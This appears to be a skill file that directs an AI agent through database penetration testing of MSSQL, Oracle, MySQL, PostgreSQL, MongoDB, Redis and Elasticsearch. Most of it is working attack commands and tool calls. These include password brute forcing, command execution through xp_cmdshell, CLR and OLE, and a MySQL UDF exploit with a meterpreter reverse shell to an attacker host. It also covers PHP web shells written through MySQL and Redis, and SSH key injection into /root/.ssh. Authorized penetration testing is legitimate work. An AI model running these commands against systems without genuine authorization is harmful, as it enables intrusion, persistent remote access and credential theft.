database-pentest

name	database-pentest
description	Guides database penetration testing for MSSQL, MySQL, PostgreSQL, MongoDB, Redis, and Elasticsearch. Use when database ports are open, SQL injection yields DB access, or linked-server abuse is suspected.

Database Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• AD engagements with MSSQL: also load internal-ad-pentest.
• SQLi entry vector: load sqli-pentest first, return here for post-access.

Workflow

Task Progress:
- [ ] Identify DB engine and version from banner or injection
- [ ] Enumerate users, roles, linked servers, command execution paths
- [ ] Map to credential reuse and lateral movement

Engine identification

Port	Engine
1433/1434	MSSQL
1521	Oracle
3306	MySQL
5432	PostgreSQL
27017	MongoDB
6379	Redis
9200	Elasticsearch

Banner scan

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/mssql/mssql_ping",
  engagement_id="<id>",
  options={"RHOSTS": "<target>"}
)
msf_run_auxiliary_module(
  module_name="auxiliary/scanner/oracle/oracle_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 1521}
)

CLI fallback:

nmap -sV -p 1433,1521,3306,5432,27017,6379,9200 <target>

MSSQL

Discovery and auth

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/mssql/mssql_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "USERNAME": "sa", "PASS_FILE": "/tmp/passwords.txt"}
)
msf_run_auxiliary_module(
  module_name="auxiliary/admin/mssql/mssql_enum",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "USERNAME": "sa", "PASSWORD": "password"}
)

CLI fallback:

crackmapexec mssql <target> -u sa -p password
nmap --script ms-sql-info,ms-sql-empty-password -p 1433 <target>
Get-SQLInstanceDomain | Get-SQLServerInfo

xp_cmdshell execution

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/admin/mssql/mssql_exec",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "USERNAME": "sa", "PASSWORD": "password", "CMD": "whoami", "USE_WINDOWS_AUTH": false}
)

CLI fallback:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

CLR assembly RCE walkthrough

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/admin/mssql/mssql_clr",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "USERNAME": "sa", "PASSWORD": "password", "CMD": "whoami"}
)

CLI fallback:

EXEC sp_configure 'clr enabled', 1; RECONFIGURE;
CREATE ASSEMBLY [cmd_exec] FROM 0x4D5A9000... WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE [dbo].[cmd_exec] @cmd NVARCHAR(4000) AS EXTERNAL NAME [cmd_exec].[StoredProcedures].[cmd_exec];
EXEC cmd_exec 'whoami';

Generate CLR DLL with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f dll.

OLE automation RCE walkthrough

MSF MCP (preferred):

msf_console_execute(
  command="use auxiliary/admin/mssql/mssql_exec; set RHOSTS <target>; set USERNAME sa; set PASSWORD password; set CMD powershell -e <b64>; set USE_OLE true; run",
  engagement_id="<id>"
)

CLI fallback:

EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @o INT; EXEC sp_OACreate 'WScript.Shell', @o OUT;
EXEC sp_OAMethod @o, 'Run', NULL, 'cmd.exe /c whoami';

Linked server abuse

MSF: No direct module; use CLI/SQL.

CLI fallback:

EXEC sp_linkedservers;
EXEC ('xp_cmdshell ''whoami''') AT [linked];
SELECT * FROM OPENQUERY("linked", 'SELECT * FROM master..syslogins');

PowerUpSQL: Get-SQLServerLink, Invoke-SQLAudit.

Oracle

Enumeration and auth

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/oracle/oracle_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 1521, "SID": "ORCL", "USERNAME": "system", "PASS_FILE": "/tmp/passwords.txt"}
)
msf_run_auxiliary_module(
  module_name="auxiliary/scanner/oracle/sid_brute",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 1521}
)
msf_run_auxiliary_module(
  module_name="auxiliary/scanner/oracle/tnslsnr_version",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 1521}
)

CLI fallback:

odat all -s <target> -p 1521
odat passwordguesser -s <target> -d ORCL --accounts-file accounts.txt
nmap --script oracle-sid-brute,oracle-tns-version -p 1521 <target>

MySQL

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/mysql/mysql_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "USERNAME": "root", "PASS_FILE": "/tmp/passwords.txt"}
)
msf_module_check(
  module_name="exploit/multi/mysql/mysql_udf_payload",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>", "USERNAME": "root", "PASSWORD": "password"}
)
msf_run_exploit(
  module_name="exploit/multi/mysql/mysql_udf_payload",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "USERNAME": "root", "PASSWORD": "password", "PAYLOAD": "linux/x64/meterpreter/reverse_tcp", "LHOST": "<attacker>", "LPORT": 4444}
)

CLI fallback:

mysql -h <target> -u root -p -e "SELECT version(); SELECT user, host FROM mysql.user;"

SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

Requires FILE privilege.

PostgreSQL

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/postgres/postgres_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "USERNAME": "postgres", "PASS_FILE": "/tmp/passwords.txt"}
)
msf_run_auxiliary_module(
  module_name="auxiliary/admin/postgres/postgres_sql",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "USERNAME": "postgres", "PASSWORD": "password", "SQL": "COPY (SELECT '') TO PROGRAM 'id';"}
)

CLI fallback:

psql -h <target> -U postgres -c "SELECT version();"
psql -h <target> -U postgres -c "COPY (SELECT '') TO PROGRAM 'id';"

Superuser required for COPY TO PROGRAM.

MongoDB

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/mongodb/mongodb_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "USERNAME": "admin", "PASSWORD": "password", "DATABASE": "admin"}
)

CLI fallback:

mongosh "mongodb://<target>:27017" --eval "db.adminCommand({listDatabases:1})"
mongosh "mongodb://admin:password@<target>:27017/admin"

No auth (common misconfig): full read/write.

Redis

Unauthenticated access

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/redis/redis_server",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 6379}
)

CLI fallback:

redis-cli -h <target> ping
redis-cli -h <target> INFO

AUTH brute force

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/redis/redis_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 6379, "PASS_FILE": "/tmp/passwords.txt"}
)

CLI fallback:

redis-cli -h <target> -a password ping
hydra -P passwords.txt <target> redis

Web shell write

MSF: No direct module; use CLI.

CLI fallback:

redis-cli -h <target> CONFIG SET dir /var/www/html
redis-cli -h <target> CONFIG SET dbfilename shell.php
redis-cli -h <target> SET x "<?php system(\$_GET['c']);?>"
redis-cli -h <target> SAVE

SSH key injection: set dir to /root/.ssh, dbfilename authorized_keys.

Elasticsearch

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/elasticsearch/elasticsearch_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 9200, "USERNAME": "elastic", "PASSWORD": "password"}
)

CLI fallback:

curl http://<target>:9200/
curl http://<target>:9200/_cat/indices?v
curl http://<target>:9200/_nodes

Web-to-DB path

When SQLi confirmed (sqli-pentest):

1. Confirm DBMS (@@version, version())
2. Enumerate tables/columns
3. Extract creds or file paths
4. Escalate to OS shell via engine-specific execution above
5. Pivot via linked servers (MSSQL) or shared creds

Related skills

• internal-ad-pentest - MSSQL in domain, impersonation, linked servers to DC
• sqli-pentest - SQLi entry vector
• hacktricks-methodology - port/service discovery